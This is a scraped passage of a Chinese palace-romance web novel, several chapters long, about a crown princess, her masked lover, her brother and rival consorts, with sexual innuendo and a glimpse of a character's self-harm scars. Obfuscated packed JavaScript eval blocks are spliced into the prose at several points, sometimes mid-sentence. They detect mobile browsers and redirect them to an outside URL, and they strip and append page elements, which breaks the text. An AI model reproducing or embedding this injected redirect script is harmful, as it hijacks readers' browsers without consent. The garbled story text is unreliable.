“也是,你们跟随殿下多年,今日是他的好日子,是值得庆贺。” 江箐珂没再多想,低头继续鼓弄那哨子。 夜颜却写了一句没头没脑的话。 【能与太子妃相遇相知,实乃在下三生有幸。】 江箐珂看后,洋洋自得起来。 “那自是当然,也不看看我是谁,西延将军府的反骨小作精,遇到我是你几辈子修来的福分。” 许是今晚喝了酒,夜颜的“话”有点密,写了一句又一句。 最后他写了一句。 【那太子妃可心悦在下?】 “还行吧。” 江箐珂表现出一副模棱两可的样子。 她低头认真摆弄着哨子,说起话来也是不咸不淡的。 “主要是我连你到底长什么鬼德性都不知道,让我心悦你什么啊?” “若说喜欢你的身体,那西延军营里,高大健硕的哥哥、弟弟们多着去了。” “若说喜欢你的床上功夫,那南风馆里的男倌各个训练有素,活儿肯定也不比你差。” “若说喜欢你知冷知热会疼人,好像也不是,跟我扭起架来,牛劲一点都不让。” “你说我该心悦你什么?” “所以,现在你能拼的就只有这张脸了。” 她转头朝夜颜眨了眨眼,蛊惑道:“还不给我瞧瞧,说不定看了,我就心悦于你了呢?” 夜颜不上当,起身去沐浴。 次日。 江箐珂又被迫早起。 只因穆汐同张良娣、徐才人来凤鸾轩给她请安。 四个人坐在一起,真真是没话找话说。 准确来说,是五个人。 有一个是穆汐的侍婢,负责给江箐珂等人传话。 穆汐这个人跟李玄尧一样,喜怒不形于色。 昨晚明明是她和李玄尧的大喜日子,却不见她流露半点欢喜之色,面色清冷平静地端坐在那里,比张良娣的心思还难猜。 想想也是,李玄尧不行,两人可能也只是抱抱亲亲而已。 不过,早上嬷嬷按惯例来凤鸾轩禀报过,说穆侧妃床上的落红已经确认过了。 至于真假,江箐珂不得而知。 反正她那晚是真的。 被夜颜给弄的。 江箐珂还发现穆汐的双眼今日有些肿。 不知是不是两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不必多礼。” 李鸢懒懒挥手,勾唇浅笑,神色清高而冷傲。 目光扫过江箐珂,径直落在江止的脸上。 她黛眉微挑,眸光骤亮,眼底闪过一抹惊艳之色。 那眼神落在江箐珂的眼里,就仿若母猎豹看到了可口的猎物。 “这位……莫非就是太子妃的长兄?”李鸢问。 第64章 裙下之宾 江箐珂立马回言。 “正是。这位是兄长江止,这位妹妹江箐瑶。” “前些日子阿兄不在京城,今日我兄妹三人便想着聚在一起,补顿仲秋团圆饭。” 李鸢目空一切地撇了下唇,眼神探究地朝江止踱近了一步,将他从头到脚打量了一番。 江止这人很是大方。 见李鸢端详他,他站在那里摊了下手。 随后摆出一副轻佻风流的表情,舌尖顶着腮,眸眼噙笑,吊儿郎当地转了一圈,主动给人家瞧。 李鸢被逗得红唇弯起,看江止的眼神又多了点别的味道。 刚刚还是不可一世的高傲公主,气场冷得像冰坨子似的。 可眼下,却跟被火给溶了,眼波流转间,浪得柔情似水。 “家宴?” 李鸢的话是同江箐珂说的,可目光却是始终锁定在江止的脸上。 “不知本宫算不算太子妃的家人?” 江箐珂不是傻子,自是看出李鸢对江止动了色心。 她好声好气地逢迎道:“公主殿下是太子殿下的长姐,那自然也是我们的长姐,当然都是一家人。” 江箐珂主动让出看戏的最佳位置。 “公主殿下请坐。” 并转头同喜晴吩咐道:“快去叫人再添双碗筷。” 就一句话的功夫,李鸢便已自行落座。 最佳雅座她不坐,偏偏挤到了江止那一边。 江箐瑶凑到江箐珂耳边,小声嘀咕。 “别说,公主殿下跟咱们江止还挺配,两人都是一身红,跟要拜堂成亲似的。” 配不配的不知道,但江箐珂却不希望江止跟李鸢勾搭到一起。 这李氏的人,离得越远越好。 四人围坐一桌,戏台上的戏仍在唱着。 可认真看戏的却只有江箐瑶一人。 江箐珂的余光和耳朵全都集中在旁侧。 只听李鸢端着公主的架子,同江止东拉西扯地闲聊了几句后,便又犯起了调戏面首的小毛病。 也不在乎周围有人与否。 不同于酒楼老板娘的风情万种,长公主李鸢的调情是强势而专横的。 她带着一种高高在上的姿态,慵懒地倚坐在那里。 丹蔻指尖捏住江止刀刻般的下颌,将他的脸扭向自己。 李鸢直身坐起,倏地凑到江止面前。 “江大公子可有婚约在身?” 江止抬手拨开下颌上那只手,不拘小节地将两条大长腿搭在桌沿上,极其巧妙地隔开了两人之间的距离。 没有草可以咬,他便从身前的碟子里,捡起一条肉脯夹在嘴角嚼。 “娶个婆娘回来管老子下半身的事儿?” 江止兴致索然道:“不干!” 闻言,李鸢甚是满意。 “如此,那本公主便省了不少麻烦事。” 江止单手撑着下颌,目光幽深地瞧着李鸢,笑而不语,似乎在等着她接下来的话。 只听李鸢直言道:“本宫的面首里,就缺你这样的。” “从今日起,你归本宫,荣华富贵……任你求。” 命令的口吻丝丝入扣,有种皇族之人不容反驳的威严。 江止咬着肉脯,眉头轻拧,眼底唇角勾起十足的痞气。 即使是面对天下最尊贵的公主,他也是那副吊儿郎当的混账姿态。 “那就看公主殿下有何本事,能让草民心甘情愿地……成为你的裙下之宾了?” 李鸢笑问:“本公主本事可大了,就是不知江大公子喜欢什么样儿的?” 舌尖一勾,江止把嚼得差不多的肉脯卷到嘴里。 他舔舌笑了笑,回道:“草民就喜欢……骚的、浪的、贱的,不知公主殿下属于哪一种?” 江箐珂听了都替江止捏把冷汗。 一旁认真听戏的江箐瑶也不听了,好信儿地耸起小耳朵,也跟着听起了墙角。 李鸢冷冷地嗔笑了一声,面色陡然沉了下来。 “不知好歹。” “胆敢如此跟本公主说话,不要命了吗?” 江止抿唇蹙眉,摆出一副欠揍的委屈样儿。 他放下腿,学着李鸢刚才的样子,蛮力捏住她的下巴尖,凑到人家面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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途中经过教坊司时,喜晴的头从车窗外收回,一脸迷惑地看向江箐珂。 一旁的江箐珂则头靠着车壁,翘着二郎腿,双手抱在胸前,闭目养神。 正所谓近朱者赤近墨者黑,江箐珂的这身做派,多多少少有点江止的影子。 “太子妃,奴婢突然有一事想不通。” 听了喜晴的话,她懒懒地吐出一个字:“说。” “按理说,穆侧妃之前作为罪臣之女,被送到教坊司当官妓。” “这当了官妓......哪还有处女之身。” 眸子左右轻动,喜晴思忖道:“若失了清白,岂还有资格嫁入东宫为侧妃的资格?” “别说是侧妃了,就是当个才人,都不配。” 眼皮缓缓掀起,江箐珂不疾不徐道:“之前我倒是问过曹公公。” “曹公公说,穆汐在刚被送入教坊司时,殿下花了不少银子打点,后来又从地方州县弄来一个女囚,李代桃僵,及时换出了穆侧妃,保住了她的完璧之身。” 说到此处,江箐珂掀起衣袖,看了眼手臂内侧那处早已不见的红点。 “大户人家的女子都会点守宫砂,毕竟是太子的女人,入宫前敬事房那边自是会派人查验。” “若是有误,穆侧妃也入不了宫。” “且太子殿下在穆大人**后,也主动同皇上负荆请罪,坦白过自己因年少情谊,擅自做主将穆汐从教坊司救了出来,强调过她还是清白之人。” “虽说,在外人眼里,穆汐毕竟是进过教坊司的,多多少少名声有污,可架不住太子殿下情深义重。” “左右是完璧之身,又是冤假错案的受害者,封个侧妃做补偿,也是人之常情。” 喜晴神色清朗地点了点头。 “虽说太子殿下对太子妃多有亏欠,但对穆侧妃还真是情深义重。” “就是免不了,以后总会有人在背后,对穆侧妃指指点点。” 江箐珂长吁一口气,美眸轻阖,漫声道:“有什么的,别人再怎么嚼舌根,日后见到她还不得下跪请安。只要她够强,流言蜚语皆是浮云。” “咱们啊,还是担心担心自己吧。” ...... 深秋之夜,凤鸾轩。 烛灭,烟生袅袅,通明的寝殿一点点暗下来。 温软相触,旖旎丛生。 又一夜的云雨之欢刚要开始,殿外脚步窸窣而至。 几声低语,急促且有力的叩门声响起,硬生生扯开了那缠绕不清的唇齿。 “公子,太子殿下有急事寻你。” 曹公公压得极低的声音从门外传来。 语气里透着焦急。 江箐珂不满,手臂勾搂着夜颜的脖颈,低声嘟囔抱怨。 “什么时辰了还寻你,都不让人休息的吗?” 大手轻抚她的脸,夜颜身体未动,意犹未尽地俯首继续刚才那个被打断的吻。 碾磨,含吮,轻咬。 唇齿在那两瓣清甜的花唇间上下来回。 动作是轻轻柔柔的,呼吸却是急促而粗重的。 夜颜吻得忘我,好像从未听过曹公公的话。 叩门声再次响起。 曹公公的嗓音也比先前高了几分。 “太子殿下有要事相谈。” 亲吻再次被打断。 夜颜的头埋在江箐珂的颈窝间,不知是无奈,还是**难捱,长长地叹了口气。 缓了半晌,他在江箐珂的额头亲了一下后,起身下榻。 面具拾起戴上,衣袍从地上捡起,一边朝殿门走着,一边动作舒展随性地将袍子披在身上。 殿门打开时,江箐珂好奇地撑身坐起。 隔着重重纱幔,她隐约瞧见曹公公在夜颜耳边低语着什么。 声音很轻,让人根本听不清楚说的是什么。 夜颜回头朝床榻这边看了一眼,便踏出殿门,跟着曹公公行色匆匆而去。 大半夜的,氛围紧张而焦急。 在西延,夜里若是突然有这种氛围,通常都是敌军突袭,没什么好事。 刻在骨子里的记忆和情感,让江箐珂也莫名地紧张起来。 她立刻翻身下床,借着门外廊庑下的宫灯,将她做好的竹哨子翻出来。 连鞋都没顾得上穿,江箐珂就那么赤着双脚追了出去。 “夜颜。” 游廊上,江箐珂叫住了那急匆匆的步子。 夜颜回身。 她紧步跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963882|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前去,看着曹公公语气不善道:“这么晚了,何事非得寻他?” 曹公公躬身回道:“太子妃恕罪,奴才说不得。” 江箐珂的眉间拧着火气。 “就不能换个人?” 曹公公赧然陪笑。 “此事只得夜颜公子来办。” 江箐珂心里不痛快,愤愤叹了一口气,将那个竹哨子递给了夜颜。 “虽然不知你去办何事,但,这个拿着。” 狐狸面缓缓抬起,视线从那双玉足移开,落在她手中的哨子。 夜颜伸手接过,旋即将江箐珂抱起,不顾曹公公催促,欲要把她送回凤鸾轩。 恰好,喜晴拎着斗篷和一双锦履追了上来。 “太子妃,快把鞋穿上,当心秋寒入体啊。” 曹公公见状,在旁紧忙道:“公子,喜晴姑娘既然把鞋送来了,咱们快走吧,耽误不得啊。” 待喜晴将鞋套在江箐珂的脚上后,夜颜将其放下,转身跟着曹公公朝着李玄尧书房的方向而去。 “太子妃,夜里寒凉,快回去吧。” 喜晴一边劝着,一边将斗篷披在了江箐珂的身上。 也不知大晚上的会是何事? 江箐珂心里好奇又不安,便拉着喜晴跟去了书房,想看个究竟。 然而,通往书房的垂花门下,几名黑甲卫严防死守,也不让江箐珂进。 问他们话,一个个嘴巴严严的,多余一个字都不肯说。 见也探不出什么来,江箐珂准备离开,却见一名老太医拎着药箱,跟着谷丰,从夜色中疾步赶来。 待谷丰行至身前,江箐珂叫住他。 “可是太子殿下病了?” 谷丰犹豫了一瞬,磕磕巴巴道:“算,算,算,算是吧。” 什么叫算是? 然而,谷丰急着带太医进去,江箐珂便也没能再细问。 难道是东宫进了刺客,李玄尧受伤了? 如果是这样...... 那就没什么好担心的。 江箐珂突然安下心来,叫上喜晴,回了凤鸾轩。 而夜颜一夜未归。 天亮后的东宫,不见昨夜的匆忙慌乱,好似什么事都没有发生过似的,一切如常。 这里秘密多得早已让江箐珂**以为常。 第66章 寻欢报复 秋日,午后的阳光最好。 听喜晴说后花园的菊花开得正盛,五颜六色的,什么品种都有,不比御花园里的差。 江箐珂午睡过后,便来后花园闲逛。 远远的,她听到亭子那边传来琴声。 也不知是天气使然,琴声哀哀切切,听起来好不凄美哀婉,与满园秋色相映,倒应了那句自古逢秋悲寂寥的话。 江箐珂顺着抄手游廊,闲庭信步地朝那观锦亭而去。 随着她的步子越走越近,在与穆汐目光隔空相对的那瞬,本是轻缓如泣的琴声,突然就变了调性。 素手拨弦,裂帛之声猛然炸响,如霜刃破空,随着秋风带着一股浓浓的恨意和寒气扑面而来,听得人很是不快。 待踏进亭内,琴声停歇,穆侧妃与徐才人一同起身,朝江箐珂盈盈一礼。 “妹妹见过太子妃。” 徐才人声音娇娇柔柔的,仍是那副羞涩单纯的可爱模样。 “正好我同穆姐姐在煮菊花茶,这功夫也煮好了,太子妃坐下一起喝几杯吧。” 穆汐面色平静无异,抬手做出请的手势。 江箐珂红唇莞尔,毫不推脱地直接落座。 “那本宫就不客气了。” 石桌上摆放着几样茶菓子,一旁的小炭炉上水煮得正沸,咕嘟咕嘟的,水气蒸腾缭绕,氤氲着淡淡的菊花香。 穆汐轻轻挥了下手,煮茶的两名婢女领命退下。 弹琴的柔荑素手拿起茶舀子,另一只手则拖着那繁赘的衣袖,优雅娴静地给江箐珂的茶盏里添着菊花茶。 也不知是不是休息不好,今日的穆汐气色不大好。 白皙如瓷的一张脸,看起来虚弱且没有血气,唯有涂了唇脂的两瓣带着点颜色。 一朵菊花浮在茶盏之中,穆汐恭敬地将其推送到江箐珂的面前。 秋日的第一盏菊花茶,由她先饮。 江箐珂抿了一口,满嘴飘香,是淡淡的菊花香。 整个过程,穆汐始终低垂着眉眼,恭恭敬敬地,不曾多瞧江箐珂一眼。 江箐珂不动声色地打量起穆汐来。 穆汐在给徐才人添茶。 举手抬足间,衣袖顺着她的手臂滑落,露出皓腕。 只是打眼那么一瞧,瞳孔骤缩,江箐珂的目光凝滞在那处。 好好的右手腕内侧,一条接一条的疤痕,如鱼鳞般排列,看得人触目惊心。 有些疤痕上还有血痂,深深浅浅的,看得出都是近期刚割出的伤。 目光移转,江箐珂又看向穆汐的左手。 白色布帛隐在衣袖里,一层又一层地缠在手腕上。 美眸半眯,江箐珂启唇问:“穆侧妃的手......怎么了?” 闻言,穆汐立马将衣袖放下遮掩。 她浅浅勾唇,对江箐珂用手语比划了一番。 一旁的女婢甚是机灵地移步上前,替她代言。 “启禀太子妃,穆侧妃说并无大碍,只是昨夜不小心被碎了的茶盏割到手腕而已。” “伤得可严重?”江箐珂问。 那女婢脆生生地回道:“太子妃放心,侧妃并未伤到要害,且已经上过药包扎好了,修养些时日即可。” “可叫太医瞧过了?” 女婢颔首回话。 “瞧过了,中午太医还来给侧妃换过药了呢。” 江箐珂关切地叮嘱了一句。 “照顾好你家侧妃,回头,我让喜晴送些好的创伤药过去。” 穆汐微微颔首,表达谢意。 只是她眸色清清冷冷,唇角勾起的笑也是浅浅的。 又是那种无法言明的轻蔑和敌意。 “谢谢你们的菊花茶,本宫就不打扰二位妹妹的雅兴了。” 言毕,江箐珂起身离开观锦亭。 后花园里的菊花她赏得心不在焉,脑子里反反复复的都是穆汐手腕上那一条条可怖的疤痕。 回凤鸾轩的路上,江箐珂猝然想起昨夜之事。 穆汐的婢女说她是昨夜割伤的手腕,而曹公公也是昨夜急匆匆来寻夜颜的...... 不知这两件事可否有关联。 可夜颜昨晚去的是李玄尧的书房,若是因为穆汐受伤之事被临时叫去,定是要去梧桐苑的。 应该是毫无关联的吧。 到了晚上,曹公公来送话。 “太子妃,殿下派夜颜公子出宫去办事,今晚怕是赶不回来了。” “夜颜公子让我转告太子妃,早点歇息,不用等他。” 这一夜后,夜颜连着三日没来。 好奇李玄尧到底给夜颜安排了何种任务,白日黑夜地不见人影,江箐珂也堵了李玄尧三天。 可惜,衡帝最近龙体抱恙,李玄尧白日里下朝后,便要去勤政殿,替衡帝批折子,与朝臣议事。 一直到了深夜,李玄尧回到东宫,要么传召徐才人,要么便去穆汐的梧桐苑。 江箐珂若想强行见李玄尧一面儿,得先把一群黑甲卫给撂倒才行。 等得来气,江箐珂次日便出宫去寻江止玩了。 夜色沉静如水,可位于永安坊的萃仙楼里却热闹非凡。 江箐珂贴着小胡子,一身男子打扮,正与江止在此处花天酒地。 萃仙楼里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964657|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好的美酒佳肴,江箐珂全点了一遍。 记的当然是东宫太子的账。 而漂亮的花魁娘子们,则有一多半,都叫到了她的雅阁里。 记的是东宫太子的账。 光有美酒和美人,还不够,江箐珂有点了西域舞姬。 记的还是东宫太子的账。 江箐珂就像是撒银子似的,最贵最好的全都要。 她要让李玄尧知道,无视她的代价是什么。 西延将军府反骨小作精,岂能浪得虚名? 铺着西域地毯的雅阁里,灯影摇曳,酒色斑斓,丝竹管弦齐鸣,笙歌鼓乐交织。 西域舞姬穿着露脐的铃铛舞裙,踏着鼓点节奏,个个扭腰晃臀,如蛇般舞姿轻盈曼妙。 跟着江箐珂出宫的谷丰、谷昭,还有几名黑甲卫,就跟进了盘丝洞的唐僧似的,直愣愣地站在那里,惶惶不安地被萃仙楼的花魁娘子们抱来蹭去的。 谷丰闭着眼,身体紧绷地站在那里,扬声劝着江箐珂。 “公,公,公子,天色,不不不,不早了!咱咱咱......” 话磕巴到一半,花魁娘子在他耳边吹了口气,也不知手撩到何处,谷丰跟个虾米是弯腰弓背,发出一声骚气的“啊”。 “公子来嘛,站着这里做什么?” “一起快活呀。” 那花魁娘子各个跟蛇妖狐仙似的,往谷丰他们身上缠。 “别,别,别碰我!” 谷丰受不了了,推开花魁娘子,几个箭步冲到雅间门外守着去了。 地毯上倒放着一个又一个的空酒壶,江箐珂手撑着头,醉醺醺地看着江止迎合那些花魁娘子们的挑弄,玩得一如既往的放荡不羁。 盛满酒的玉盏夹在齐胸襦裙的沟壑间,烛光映酒盏里,随着酒液碎成星光。 江止唇角勾着邪肆的笑,眉眼轻浮风流地凑上前去,揽着美人的腰,将玉盏送到嘴边,把酒悉数喝下。 待喝完一轮,他将美人推开,手撑着头,眸眼清明地与江箐珂对视着。 抬手摸了摸她贴的小胡子,扯唇哂笑,似乎觉得江箐珂的扮相很是滑稽又有趣。 可看着看着,胡子摸着摸着,江止眼底的笑意渐退,眼神转而幽深难辨起来。 拇指抚上两瓣红唇,轻轻一带,拭去了她唇上的酒液。 欲望在蠢蠢欲动,江止心头猛力抽跳的那瞬,雅间的门被人推开。 森冷的肃杀之气侵入,曲乐歌舞戛然而止。 江箐珂和江止懒懒地抬眼看去,只见玄色高大的身影提着剑,戴着黑纱帷帽朝他二人走来。 第67章 亲亲被撞见 数十名黑甲卫随着夜颜鱼贯而入,在他身后与谷昭等人分列成两排。 挺大的雅间,登时就变得拥挤起来。 打眼一瞧,黑压压一片,威压四起,森冷肃然。 翠仙阁的老鸨带着护卫进来,刚要叉腰叫板夜颜,就被夜颜那一身的戾气和屋内的阵仗给吓得没了气焰。 一群舞姬和花魁娘子们瑟瑟缩缩,抱团挤在墙角里,最后被谷丰带头,连着老鸨一起给哄赶了出去。 似是觉得对方来者不善,江止拖着那股狠劲儿,懒洋洋起身。 堆放在脚旁的那些空酒壶被踢倒,撞出清脆的声响,同时撞破了死一边的肃静。 江箐珂被惊得酒醒了一半。 她赶在江止发飙前,及时拽住了他。 “阿兄别冲动,都是殿下的人,应该是奉命接我回宫的。” 江止挑眉,下颌微仰,故意露出有疤的那一面。 顶着那一脸的凶痞之相,他不悦道:“妈了个蛋的,接个人,非要耍这么大阵仗,来坏老子兴致?” 夜颜无视江止,径直走到江箐珂身前俯身蹲下。 适才那股狠厉肃杀之气骤然收敛,夜颜就像头嗜血强壮的猛兽,一到江箐珂面前,便立刻收起锋利的獠牙,变成一个温顺驯服的小兽。 隔着帷纱看着江箐珂,他打了个手语。 【天色很晚了,我们回去,好吗?】 手势很简单,江箐珂一看就懂。 她偏头看向别处,负气道:“不回去,我今晚要在这里和阿兄喝通宵。” 【三日未见,我很想你,你不想我吗?】 夜颜耐着性子哄着她。 【有什么话回去说,好吗?】 江箐珂却瞧也不瞧他一眼:“不想,也不好。” 一旁的江止双手叉在腰间,他歪头看了看夜颜,又看了看江箐珂。 甚是费解道:“这哑巴比划的,你都看得懂?” 江箐珂没答这茬,撑身站起。 “阿兄,我们换个地儿吃酒去。” 她拽起江止的手要走,却被夜颜用力抓住了手腕。 江止见状,登时来了脾气。 他与江箐珂十指相扣,用力将她往自己身侧拽来。 “你个见不得人的,老子数到三,放开她!” 江箐珂撇了撇嘴,忍住了调侃江止的欲望。 她只在心想嘀咕了下:就是数到千也没用,阿兄打不过的。 帷帽下,那道锋锐冷厉的目光透过帷纱,朝那两只紧扣的手瞧去。 刚刚收敛的肃杀之气瞬间腾起。 黑甲卫和谷丰等人也有所察觉,同时拔剑,齐刷刷指向江北和江箐珂二人。 谷昭沉声开口道:“江大公子,我等奉殿下之命护太子妃周全,此位亦是奉命接驾,还请大公子行个方便,莫叫我等难做。” “老子今晚心情不爽,就想让你们难做,怎么着吧?” 言语间,夜颜与江止隔着那层黑色帷纱目光对峙。 甭管两人能不能看清对方的眼神,总之,气场上谁都不让谁。 夜颜将江箐珂拽向自己,江止又把江箐珂拉回去。 一拽一拉,一拉一拽。 两个人较着劲儿地来,谁都没注意到江箐珂脸上那隐藏在平静之下的怒火。 忍了半晌,江箐珂咬牙切齿,一字一句地从唇缝里蹦出来。 “你俩在这儿拔河呢?” “要不要拿剑把我从中间砍两半儿?” 夜颜最先做出妥协,放开了江箐珂。 江止却紧紧握着她的手不放。 可这么下去也不是回事儿? 若真打起来,就是自己人打自己人。 最主要的是打不过。 识时务者为俊杰,江箐珂看向身侧的江止,瓮声瓮气道:“阿兄,今晚就到这儿吧,我也该回宫了,改日我再来找你。” 黑沉沉的眸子看向她,复杂的情绪难以明表。 半晌,他终于放开了那汗濡濡的小手。 在临出门前,江箐珂的手搭在身后的腰侧,同江止偷偷打了个手势。 那是西延军营里打仗作战时交流的暗号。 雅间在萃仙阁的三楼。 跟着夜颜出了雅间,江箐珂始终靠着扶栏走。 一时的乖顺,让众人放松了警惕。 力气比不过夜颜,江箐珂就撒娇道:“你抓得我手疼,能不能松开一会儿?” 夜颜从了她的意。 就在夜颜放手的那刹那,江箐珂敏捷地翻身越过扶栏,借着臂力身子一甩,轻松跳到二楼的回廊。 起身,飞奔,冲跑出翠仙阁。 夜颜则带着黑甲卫在身后紧追。 江箐珂虽然力气比不过夜颜,可她身体轻盈,跑起来时如风一般,有时快得江止都追不上。 今夜,江箐珂就不想回宫。 夜颜三晚没来,李玄尧又避着她不见。 她为什么要乖乖地回去? 从小到大,她就是这样。 江止和二哥嫌她是女娃娃,每次偷偷跑出去不带她玩儿,她就跑去跟母亲和父亲告状。 越凶她,她越告;越打她,她越告。 自张氏入府后,父亲便很少会再陪她玩儿,江箐珂为了父亲能多多疼疼她、抱抱她,曾经故意淋雨或者在雪中打滚儿,会故意把自己冻病。 她总是在用自己的方式,来表达自己的不满,来获得在意之人的关心。 往事随风在脑海里一件件闪过,江箐珂跑呀跑呀。 京城的街巷长而宽,怎么跑好像都跑不到尽头似的。 余光里,有黑甲卫绕路包抄。 江箐珂在一个巷口突然急转。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964658|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>直跑,左转,再右转...... 她甩掉了一个又一个的人。 耳边夜风猎猎,她喘着粗气,秋夜的寒气大口大口灌进肺腔。 每一次呼吸,嗓子和胸腔都火辣辣地疼,仿若吞了碎瓷片一般,在喉间漫出一股浓浓的甜腥气。 如墨幽深的夜色下,江箐珂正朝着翠仙阁往回跑。 因为她跟江止约好要在那附近汇合,再一起跑去别的地方。 眼看着下个巷口右转,便会回到翠仙阁所在的那条街巷,黑暗中,一道黑色身影从青瓦飞檐上一纵而下。 江箐珂紧急降速,想掉头再跑,却为时已晚。 夜颜早有预料,落地点便在她的身后。 江箐珂如同兔子一样,径直撞进他的怀里,被粗壮的手臂牢牢禁锢。 帷纱掀起,搭挂在帽檐上,露出了里面那挂着黑色面纱的脸。 但夜色幽暗,那双异瞳在这个巷子里也看不分明。 江箐珂被挤困在巷子的墙角里,膝盖被夜颜用腿紧紧地抵着。 力量的悬殊,江箐珂怎么拗都拗不过。 只能像个小鸡仔似的,窝在他高大的身躯下。 推不开,便打。 “什么事,要三天不见人?” 江箐珂将憋了几天的怨气一拳接一拳地砸在他胸口上。 “你们想见我就见我,想出现就出现,想让我回宫就得回宫,凭什么?” 看着她唇瓣翕合,快速又极轻地说着话,愧疚、自责、焦灼和无奈在夜颜的眼底翻涌交叠。 江箐珂很想听他解释一句,可惜他却是个不能说话的哑巴。 手语在这种幽暗的地方,根本派不上用场。 夜颜急得不知所措。 只能将挂在脖子上的竹哨子放到嘴边用力吹响,刺耳尖锐的哨声登时让江箐珂息了声,她气喘吁吁地站在夜颜的身影之下,仰头看着他。 大手捧起她的脸,帷纱垂落,将他二人罩进同一顶帽檐下。 周遭彻底黑下来,而面纱却**箐珂慢慢撩起。 她很想看清这张脸。 可赶在露出真面目时,温软同时强势欺覆而来,用力地碾磨嘬弄她的双唇,发出微弱的啧啧声。 江箐珂嘤嘤急喘求饶时,一股劲风从旁侧迅猛袭来。 夜颜抬臂隔挡,下意识地把江箐珂紧紧护在怀中。 “她是你碰的?” 江止再出一拳,下狠朝夜颜挥去。 “妈了个蛋的,找死是不是?” 幽暗的巷子里,两人打了起来。 但多以夜颜防守为主。 江箐珂万万没想到自己跟夜颜私通之事,会**止给撞见。 她本想将李玄尧不能人道的秘密,一直瞒下去的,可眼下该如何解释才好? 乱套了,乱套了。 第68章 那可是死罪 无奈之下,江箐珂喊了一嗓子。 “别打了。” “他是我姘头。” 江止的拳头挥到半空悬停在了那里,转头看向江箐珂。 巷子幽暗,江箐珂虽然看不出江止脸上的表情,却能从突然静下来的空气里感受到他的震惊。 “姘头?” 江止收拳,难以置信地重复了一遍。 江箐珂硬着头皮嗫喏道:“对,我姘头,刚私通没多久,怪不得她,是我逼她就范的。” 江止手叉在腰间,栽歪着身子,垂头站在那里缓了好一会儿。 他走到江箐珂身前,声音极低地问她:“你跟阿兄说实话,太子殿下是不是真不行?” “没有,太子殿下挺行的。” 江箐珂扯谎道:“李玄尧现在又是才人、良娣,又是侧妃的,没法日日顾得上我,我在宫中夜里寂寞无聊,便想找个姘头玩玩。” “江箐珂,你是不是有大病?” 江止咬着后槽牙,压着声音发火,很怕旁边有人路过时听去点什么。 他抬手杵了下江箐珂的额头,气不打一处来。 “嫌脑袋长太久了吧?” “要知道,私通被发现,在宫里那可是死罪。” 适时,东宫的侍卫和黑甲卫也寻到此处,陆续**到夜颜的身侧。 江箐珂见状,点头如捣蒜,揪着江止的衣袖,小声商量。 “所以,阿兄别再打了,把事情闹大,阿兄可就再也见不到我了。” 江止用力搓了下脸,随后大手握住江箐珂的细颈,毫不费力地将她拉到自己的身前。 偏头,凑到她耳边,小声叮嘱。 “没有不透风的墙,趁早跟他断干净了。” 这功夫江止说什么,江箐珂都点头答应。 “阿兄放心,回去我定趁早跟他断了。” 事到如此,江箐珂也没心情再作闹下去了,只能跟着夜颜乖乖上了马车。 担心李玄尧会对江止动杀心,江箐珂便在回宫的路上,主动同夜颜交代了一番。 “我说的这些都是实话,阿兄现在只知是我德行不端,与你私通苟合,至于太子殿下不行的事,他一概不知。” “今夜之事,你可以同太子殿下禀报,但是定要把话说清楚了,免得太子殿下对我阿兄心生误会。” 夜颜手语回复。 【太子妃放心,今夜的事,我定不会同殿下说的。】 重要的事说完了,马车里突然变得安静起来。 挂在车壁四角的宫灯跟着车身摇晃,连带着映在车内的光影也跟着摇曳。 夜颜摘掉了帷帽,脸上仅挂着那个黑色面纱。 一双异色眼瞳昏沉似覆薄雾,泛着红血丝的眼里满是倦意。 可他还是直勾勾地看着江箐珂,好像一只渴求被垂怜抚摸的大**,朝江箐珂伸出了爪。 爪心朝上。 江箐珂瞥了一眼那狗爪子。 发现他手心上有几道刀痕交错。 是新伤,且都很浅。 束袖的皮具边缘,冷白的手腕微微泛红,倒像是像被绳索类的东西给磨的,圆圆的一圈。 也不知出去执行什么任务,竟会受这样的伤。 他们这些当侍卫、暗卫的,命都不是自己的,也是可怜。 